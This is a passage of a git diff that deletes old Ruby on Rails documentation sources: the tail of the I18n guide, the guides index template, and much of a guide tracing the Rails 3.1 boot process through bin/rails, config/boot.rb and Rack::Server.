-The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-
-In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
-
-<ruby>
-module I18n
-  def self.just_raise_that_exception(*args)
-    raise args.first
-  end
-end
-
-I18n.exception_handler = :just_raise_that_exception
-</ruby>
-
-This would re-raise all caught exceptions including +MissingTranslationData+.
-
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
-
-To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
-
-<ruby>
-I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-</ruby>
-
-h3. Conclusion
-
-At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
-
-If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
-
-
-h3. Contributing to Rails I18n
-
-I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
-
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
-
-If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
-
-
-h3. Resources
-
-* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
-* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
-* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
-* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
-* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
-* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
-
-
-h3. Authors
-
-* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
-* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
-
-If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
-
-
-h3. Footnotes
-
-fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
-
-fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
-
-fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb
deleted file mode 100644
index c9a8c4fa5c..0000000000
--- a/railties/guides/source/index.html.erb
+++ /dev/null
@@ -1,191 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Ruby on Rails Guides (<%= ENV['RAILS_VERSION'] || 'edge' %>)</h2>
-
-<% if @edge %>
-<p>
-  These are <b>Edge Guides</b>, based on the current
-  <a href="https://github.com/rails/rails/tree/master">master branch</a>.
-</p>
-<p>
-  If you are looking for the ones for the stable version please check
-  <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
-</p>
-<% else %>
-<p>
-  These are the new guides for Rails 3. The guides for Rails 2.3 are still available
-  at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
-</p>
-<% end %>
-<p>
-  These guides are designed to make you immediately productive with Rails,
-  and to help you understand how all of the pieces fit together.
-</p>
-
-<% end %>
-
-<% content_for :index_section do %>
-<div id="subCol">
-  <dl>
-    <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd>
-  </dl>
-</div>
-<% end %>
-
-<h3>Start Here</h3>
-
-<dl>
-<%= guide('Getting Started with Rails', 'getting_started.html') do %>
-  <p>Everything you need to know to install Rails and create your first application.</p>
-<% end %>
-</dl>
-
-<h3>Models</h3>
-
-<dl>
-<%= guide("Rails Database Migrations", 'migrations.html') do %>
-  <p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p>
-<% end %>
-
-<%= guide("Active Record Validations and Callbacks", 'active_record_validations_callbacks.html') do %>
-  <p>This guide covers how you can use Active Record validations and callbacks.</p>
-<% end %>
-
-<%= guide("Active Record Associations", 'association_basics.html') do %>
-  <p>This guide covers all the associations provided by Active Record.</p>
-<% end %>
-
-<%= guide("Active Record Query Interface", 'active_record_querying.html') do %>
-  <p>This guide covers the database query interface provided by Active Record.</p>
-<% end %>
-</dl>
-
-<h3>Views</h3>
-
-<dl>
-<%= guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
-  <p>This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.</p>
-<% end %>
-
-<%= guide("Action View Form Helpers", 'form_helpers.html', :work_in_progress => true) do %>
-  <p>Guide to using built-in Form helpers.</p>
-<% end %>
-</dl>
-
-<h3>Controllers</h3>
-
-<dl>
-<%= guide("Action Controller Overview", 'action_controller_overview.html') do %>
-  <p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p>
-<% end %>
-
-<%= guide("Rails Routing from the Outside In", 'routing.html') do %>
-  <p>This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.</p>
-<% end %>
-</dl>
-
-<h3>Digging Deeper</h3>
-
-<dl>
-
-<%= guide("Active Support Core Extensions", 'active_support_core_extensions.html') do %>
-  <p>This guide documents the Ruby core extensions defined in Active Support.</p>
-<% end %>
-
-<%= guide("Rails Internationalization API", 'i18n.html') do %>
-  <p>This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.</p>
-<% end %>
-
-<%= guide("Action Mailer Basics", 'action_mailer_basics.html', :work_in_progress => true) do %>
-  <p>This guide describes how to use Action Mailer to send and receive emails.</p>
-<% end %>
-
-<%= guide("Testing Rails Applications", 'testing.html', :work_in_progress => true) do %>
-  <p>This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from &quot;What is a test?&quot; to the testing APIs. Enjoy.</p>
-<% end %>
-
-<%= guide("Securing Rails Applications", 'security.html') do %>
-  <p>This guide describes common security problems in web applications and how to avoid them with Rails.</p>
-<% end %>
-
-<%= guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
-  <p>This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.</p>
-<% end %>
-
-<%= guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
-  <p>This guide covers the various ways of performance testing a Ruby on Rails application.</p>
-<% end %>
-
-<%= guide("Configuring Rails Applications", 'configuring.html') do %>
-  <p>This guide covers the basic configuration settings for a Rails application.</p>
-<% end %>
-
-<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %>
-  <p>This guide covers the command line tools and rake tasks provided by Rails.</p>
-<% end %>
-
-<%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %>
-  <p>Various caching techniques provided by Rails.</p>
-<% end %>
-
-<%= guide('Asset Pipeline', 'asset_pipeline.html') do %>
-  <p>This guide documents the asset pipeline.</p>
-<% end %>
-</dl>
-
-<h3>Extending Rails</h3>
-
-<dl>
-  <%= guide("The Basics of Creating Rails Plugins", 'plugins.html', :work_in_progress => true) do %>
-    <p>This guide covers how to build a plugin to extend the functionality of Rails.</p>
-  <% end %>
-
-  <%= guide("Rails on Rack", 'rails_on_rack.html') do %>
-    <p>This guide covers Rails integration with Rack and interfacing with other Rack components.</p>
-  <% end %>
-
-  <%= guide("Creating and Customizing Rails Generators", 'generators.html') do %>
-    <p>This guide covers the process of adding a brand new generator to your extension
-      or providing an alternative to an element of a built-in Rails generator (such as
-      providing alternative test stubs for the scaffold generator).</p>
-  <% end %>
-</dl>
-
-<h3>Contributing to Ruby on Rails</h3>
-
-<dl>
-  <%= guide("Contributing to Ruby on Rails", 'contributing_to_ruby_on_rails.html') do %>
-    <p>Rails is not &quot;somebody else's framework.&quot; This guide covers a variety of ways that you can get involved in the ongoing development of Rails.</p>
-  <% end %>
-
-  <%= guide('API Documentation Guidelines', 'api_documentation_guidelines.html') do %>
-    <p>This guide documents the Ruby on Rails API documentation guidelines.</p>
-  <% end %>
-
-  <%= guide('Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html') do %>
-    <p>This guide documents the Ruby on Rails guides guidelines.</p>
-  <% end %>
-</dl>
-
-<h3>Release Notes</h3>
-
-<dl>
-<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %>
-  <p>Release notes for Rails 3.1.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %>
-  <p>Release notes for Rails 3.0.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 2.3 Release Notes", '2_3_release_notes.html') do %>
-  <p>Release notes for Rails 2.3.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 2.2 Release Notes", '2_2_release_notes.html') do %>
-  <p>Release notes for Rails 2.2.</p>
-<% end %>
-</dl>
diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile
deleted file mode 100644
index 036b356a37..0000000000
--- a/railties/guides/source/initialization.textile
+++ /dev/null
@@ -1,1116 +0,0 @@
-h2. The Rails Initialization Process
-
-This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers.
-
-* Using +rails server+
-* Using Passenger
-
-endprologue.
-
-This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application.
-
-NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
-
-h3. Launch!
-
-As of Rails 3, +script/server+ has become +rails server+. This was done to centralize all rails related commands to one common file.
-
-h4. +bin/rails+
-
-The actual +rails+ command is kept in _bin/rails_ at the and goes like this:
-
-<ruby>
-#!/usr/bin/env ruby
-
-begin
-  require "rails/cli"
-rescue LoadError
-  railties_path = File.expand_path('../../railties/lib', __FILE__)
-  $:.unshift(railties_path)
-  require "rails/cli"
-end
-</ruby>
-
-This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again.
-
-h4. +railties/lib/rails/cli.rb+
-
-This file looks like this:
-
-<ruby>
-require 'rbconfig'
-require 'rails/script_rails_loader'
-
-# If we are inside a Rails application this method performs an exec and thus
-# the rest of this script is not run.
-Rails::ScriptRailsLoader.exec_script_rails!
-
-require 'rails/ruby_version_check'
-Signal.trap("INT") { puts; exit }
-
-if ARGV.first == 'plugin'
-  ARGV.shift
-  require 'rails/commands/plugin_new'
-else
-  require 'rails/commands/application'
-end
-</ruby>
-
-The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+.
-
-<ruby>
-require 'pathname'
-
-module Rails
-  module ScriptRailsLoader
-    RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
-    SCRIPT_RAILS = File.join('script', 'rails')
-    ...
-
-  end
-end
-</ruby>
-
-The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
-
-Back in +rails/cli+, the next line is this:
-
-<ruby>
-Rails::ScriptRailsLoader.exec_script_rails!
-</ruby>
-
-This method is defined in +rails/script_rails_loader+ like this:
-
-<ruby>
-def self.exec_script_rails!
-  cwd = Dir.pwd
-  return unless in_rails_application? || in_rails_application_subdirectory?
-  exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
-  Dir.chdir("..") do
-    # Recurse in a chdir block: if the search fails we want to be sure
-    # the application is generated in the original working directory.
-    exec_script_rails! unless cwd == Dir.pwd
-  end
-rescue SystemCallError
-  # could not chdir, no problem just return
-end
-</ruby>
-
-This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this:
-
-<ruby>
-def self.in_rails_application?
-  File.exists?(SCRIPT_RAILS)
-end
-</ruby>
-
-The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used:
-
-<ruby>
-def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
-  File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
-end
-</ruby>
-
-This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run:
-
-<ruby>
-exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
-</ruby>
-
-This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server".
-
-h4. +script/rails+
-
-This file looks like this:
-
-<ruby>
-APP_PATH = File.expand_path('../../config/application',  __FILE__)
-require File.expand_path('../../config/boot',  __FILE__)
-require 'rails/commands'
-</ruby>
-
-The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
-
-h4. +config/boot.rb+
-
-+config/boot.rb+ contains this:
-
-<ruby>
-require 'rubygems'
-
-# Set up gems listed in the Gemfile.
-gemfile = File.expand_path('../../Gemfile', __FILE__)
-begin
-  ENV['BUNDLE_GEMFILE'] = gemfile
-  require 'bundler'
-  Bundler.setup
-rescue Bundler::GemNotFound => e
-  STDERR.puts e.message
-  STDERR.puts "Try running `bundle install`."
-  exit!
-end if File.exist?(gemfile)
-</ruby>
-
-In a standard Rails application, there's a +Gemfile+ which declares all dependencies of the application. +config/boot.rb+ sets +ENV["BUNDLE_GEMFILE"]+ to the location of this file, then requires Bundler and calls +Bundler.setup+ which adds the dependencies of the application (including all the Rails parts) to the load path, making them available for the application to load. The gems that a Rails 3.1 application depends on are as follows:
-
-* abstract (1.0.0)
-* actionmailer (3.1.0.beta)
-* actionpack (3.1.0.beta)
-* activemodel (3.1.0.beta)
-* activerecord (3.1.0.beta)
-* activeresource (3.1.0.beta)
-* activesupport (3.1.0.beta)
-* arel (2.0.7)
-* builder (3.0.0)
-* bundler (1.0.6)
-* erubis (2.6.6)
-* i18n (0.5.0)
-* mail (2.2.12)
-* mime-types (1.16)
-* polyglot (0.3.1)
-* rack (1.2.1)
-* rack-cache (0.5.3)
-* rack-mount (0.6.13)
-* rack-test (0.5.6)
-* rails (3.1.0.beta)
-* railties (3.1.0.beta)
-* rake (0.8.7)
-* sqlite3-ruby (1.3.2)
-* thor (0.14.6)
-* treetop (1.4.9)
-* tzinfo (0.3.23)
-
-h4. +rails/commands.rb+
-
-Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
-
-<ruby>
-aliases = {
-  "g"  => "generate",
-  "c"  => "console",
-  "s"  => "server",
-  "db" => "dbconsole",
-  "r"  => "runner"
-}
-
-command = ARGV.shift
-command = aliases[command] || command
-</ruby>
-
-If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code:
-
-<ruby>
-when 'server'
-  # Change to the application's path if there is no config.ru file in current dir.
-  # This allows us to run script/rails server from other directories, but still get
-  # the main config.ru and properly set the tmp directory.
-  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
-
-  require 'rails/commands/server'
-  Rails::Server.new.tap { |server|
-    # We need to require application after the server sets environment,
-    # otherwise the --environment option given to the server won't propagate.
-    require APP_PATH
-    Dir.chdir(Rails.application.root)
-    server.start
-  }
-</ruby>
-
-This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which requires +action_dispatch+ and sets up the +Rails::Server+ class.
-
-h4. +actionpack/lib/action_dispatch.rb+
-
-Action Dispatch is the routing component of the Rails framework. It depends on Active Support, +actionpack/lib/action_pack.rb+ and +Rack+ being available. The first thing required here is +active_support+.
-
-h4. +activesupport/lib/active_support.rb+
-
-This file begins with requiring +active_support/lib/active_support/dependencies/autoload.rb+ which redefines Ruby's +autoload+ method to have a little more extra behaviour especially in regards to eager autoloading. Eager autoloading is the loading of all required classes and will happen when the +config.cache_classes+ setting is +true+. The required file also requires another file: +active_support/lazy_load_hooks+
-
-h4. +activesupport/lib/active_support/lazy_load_hooks.rb+
-
-This file defines the +ActiveSupport.on_load+ hook which is used to execute code when specific parts are loaded. We'll see this in use a little later on.
-
-This file begins with requiring +active_support/inflector/methods+.
-
-h4. +activesupport/lib/active_support/inflector/methods.rb+
-
-The +methods.rb+ file is responsible for defining methods such as +camelize+, +underscore+ and +dasherize+ as well as a slew of others. The "+ActiveSupport::Inflector+ documentation":http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html covers them all pretty decently.
-
-In this file there are a lot of lines such as this inside the +ActiveSupport+ module:
-
-<ruby>
-autoload :Inflector
-</ruby>
-
-Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced.
-
-The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport.
-
-The +active_support/lib/active_support.rb+ file simply defines the +ActiveSupport+ module and some autoloads (eager and of the normal variety) for it.
-
-h4. +actionpack/lib/action_dispatch.rb+ cont'd.
-
-Now back to +action_pack/lib/action_dispatch.rb+. The next +require+ in this file is one for +action_pack+, which simply calls +action_pack/version.rb+ which defines +ActionPack::VERSION+ and the constants, much like +ActiveSpport+ does.
-
-After this line, there's a require to +active_model+ which simply defines autoloads for the +ActiveModel+ part of Rails and sets up the +ActiveModel+ module which is used later on.
-
-The last of the requires is to +rack+, which like the +active_model+ and +active_support+ requires before it, sets up the +Rack+ module as well as the autoloads for constants within it.
-
-Finally in +action_dispatch.rb+ the +ActionDispatch+ module and *its* autoloads are declared.
-
-h4. +rails/commands/server.rb+
-
-The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
-
-<ruby>
-def initialize(*)
-  super
-  set_environment
-end
-</ruby>
-
-Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
-
-h4. Rack: +lib/rack/server.rb+
-
-+Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
-
-The +initialize+ method in +Rack::Server+ simply sets a couple of variables:
-
-<ruby>
-def initialize(options = nil)
-  @options = options
-  @app = options[:app] if options && options[:app]
-end
-</ruby>
-
-In this case, +options+ will be +nil+ so nothing happens in this method.
-
-After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance:
-
-<ruby>
-def set_environment
-  ENV["RAILS_ENV"] ||= options[:environment]
-end
-</ruby>
-
-In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this:
-
-<ruby>
-def options
-  @options ||= parse_options(ARGV)
-end
-</ruby>
-
-Then +parse_options+ is defined like this:
-
-<ruby>
-def parse_options(args)
-  options = default_options
-
-  # Don't evaluate CGI ISINDEX parameters.
-  # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
-  args.clear if ENV.include?("REQUEST_METHOD")
-
-  options.merge! opt_parser.parse! args
-  options[:config] = ::File.expand_path(options[:config])
-  ENV["RACK_ENV"] = options[:environment]
-  options
-end
-</ruby>
-
-With the +default_options+ set to this:
-
-<ruby>
-def default_options
-  {
-    :environment => ENV['RACK_ENV'] || "development",
-    :pid         => nil,
-    :Port        => 9292,
-    :Host        => "0.0.0.0",
-    :AccessLog   => [],
-    :config      => "config.ru"
-  }
-end
-</ruby>
-
-There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+
-
-<ruby>
-def opt_parser
-  Options.new
-end
-</ruby>
-
-The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this:
-
-<ruby>
-def parse!(args)
-  args, options = args.dup, {}
-
-  opt_parser = OptionParser.new do |opts|
-    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
-    opts.on("-p", "--port=port", Integer,
-            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
-  ...
-</ruby>
-
-This method will set up keys for the +options+ which Rails will then be able to use to determine how its server should run. After +initialize+ has finished, then the +start+ method will launch the server.
-
-h4. +Rails::Server#start+
-
-This method is defined like this:
-
-<ruby>
-def start
-  puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
-  puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}"
-  puts "=> Call with -d to detach" unless options[:daemonize]
-  trap(:INT) { exit }
-  puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
-  #Create required tmp directories if not found
-  %w(cache pids sessions sockets).each do |dir_to_make|
-    FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
-  end
-
-  super
-ensure
-  # The '-h' option calls exit before @options is set.
-  # If we call 'options' with it unset, we get double help banners.
-  puts 'Exiting' unless @options && options[:daemonize]
-end
-</ruby>
-
-This is where the first output of the Rails initialization happens. This method creates a trap for +INT+ signals, so if you +CTRL+C+ the server, it will exit the process. As we can see from the code here, it will create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+ directories if they don't already exist prior to calling +super+. The +super+ method will call +Rack::Server.start+ which begins its definition like this:
-
-<ruby>
-def start
-  if options[:warn]
-    $-w = true
-  end
-
-  if includes = options[:include]
-    $LOAD_PATH.unshift(*includes)
-  end
-
-  if library = options[:require]
-    require library
-  end
-
-  if options[:debug]
-    $DEBUG = true
-    require 'pp'
-    p options[:server]
-    pp wrapped_app
-    pp app
-  end
-end
-</ruby>
-
-In a Rails application, these options are not set at all and therefore aren't used at all. The first line of code that's executed in this method is a call to this method:
-
-<ruby>
-wrapped_app
-</ruby>
-
-This method calls another method:
-
-<ruby>
-@wrapped_app ||= build_app app
-</ruby>
-
-Then the +app+ method here is defined like so:
-
-<ruby>
-def app
-  @app ||= begin
-    if !::File.exist? options[:config]
-      abort "configuration #{options[:config]} not found"
-    end
-
-    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
-    self.options.merge! options
-    app
-  end
-end
-</ruby>
-
-The +options[:config]+ value defaults to +config.ru+ which contains this:
-
-<ruby>
-# This file is used by Rack-based servers to start the application.
-
-require ::File.expand_path('../config/environment',  __FILE__)
-run YourApp::Application
-</ruby>
-
-
-The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
-
-<ruby>
-app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
-    TOPLEVEL_BINDING, config
-</ruby>
-
-The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
-
-<ruby>
-require ::File.expand_path('../config/environment',  __FILE__)
-</ruby>
-
-h4. +config/environment.rb+
-
-This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
-
-This file begins with requiring +config/application.rb+.
-
-h4. +config/application.rb+
-
-This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger.
-
-Then the fun begins!
-
-h3. Loading Rails
-
-The next line in +config/application.rb+ is:
-
-<ruby>
-require 'rails/all'
-</ruby>
-
-h4. +railties/lib/rails/all.rb+
-
-This file is responsible for requiring all the individual parts of Rails like so:
-
-<ruby>
-require "rails"
-
-%w(
-    active_record
-    action_controller
-    action_mailer
-    active_resource
-    rails/test_unit
-).each do |framework|
-  begin
-    require "#{framework}/railtie"
-  rescue LoadError
-  end
-end
-</ruby>
-
-First off the line is the +rails+ require itself.
-
-h4. +railties/lib/rails.rb+
-
-This file is responsible for the initial definition of the +Rails+ module and, rather than defining the autoloads like +ActiveSupport+, +ActionDispatch+ and so on, it actually defines other functionality. Such as the +root+, +env+ and +application+ methods which are extremely useful in Rails 3 applications.
-
-However, before all that takes place the +rails/ruby_version_check+ file is required first.
-
-h4. +railties/lib/rails/ruby_version_check.rb+
-
-This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1.
-
-NOTE: You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade.
-
-h4. +active_support/core_ext/kernel/reporting.rb+
-
-This is the first of the many Active Support core extensions that come with Rails. This one in particular defines methods in the +Kernel+ module which is mixed in to the +Object+ class so the methods are available on +main+ and can therefore be called like this:
-
-<ruby>
-silence_warnings do
-  # some code
-end
-</ruby>
-
-These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide.
-
-h4. +active_support/core_ext/logger.rb+
-
-The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object.
-
-For more information see the "Extensions to Logger":active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide.
-
-h4. +railties/lib/rails/application.rb+
-
-The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first.
-
-The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":active_support_core_extensions.html#merging under the "Merging" section.
-
-h4. +active_support/file_update_checker.rb+
-
-The +ActiveSupport::FileUpdateChecker+ class defined within this file is responsible for checking if a file has been updated since it was last checked. This is used for monitoring the routes file for changes during development environment runs.
-
-h4. +railties/lib/rails/plugin.rb+
-
-This file defines +Rails::Plugin+ which inherits from +Rails::Engine+. Unlike +Rails::Engine+ and +Rails::Railtie+ however, this class is not designed to be inherited from. Instead, this is used simply for loading plugins from within an application and an engine.
-
-This file begins by requiring +rails/engine.rb+
-
-h4. +railties/lib/rails/engine.rb+
-
-The +rails/engine.rb+ file defines the +Rails::Engine+ class which inherits from +Rails::Railtie+. The +Rails::Engine+ class defines much of the functionality found within a standard application class such as the +routes+ and +config+ methods.
-
-The "API documentation":http://api.rubyonrails.org/classes/Rails/Engine.html for +Rails::Engine+ explains the function of this class pretty well.
-
-This file's first line requires +rails/railtie.rb+.
-
-h4. +railties/lib/rails/railtie.rb+
-
-The +rails/railtie.rb+ file is responsible for defining +Rails::Railtie+, the underlying class for all ties to Rails now. Gems that want to have their own initializers or rake tasks and hook into Rails should have a +GemName::Railtie+ class that inherits from +Rails::Railtie+.
-
-The "API documentation":http://api.rubyonrails.org/classes/Rails/Railtie.html for +Rails::Railtie+, much like +Rails::Engine+, explains this class exceptionally well.
-
-The first require in this file is +rails/initializable.rb+.
-
-h4. +railties/lib/rails/initializable.rb+
-
-Now we reach the end of this particular rabbit hole as +rails/initializable.rb+ doesn't require any more Rails files, only +tsort+ from the Ruby standard library.
-
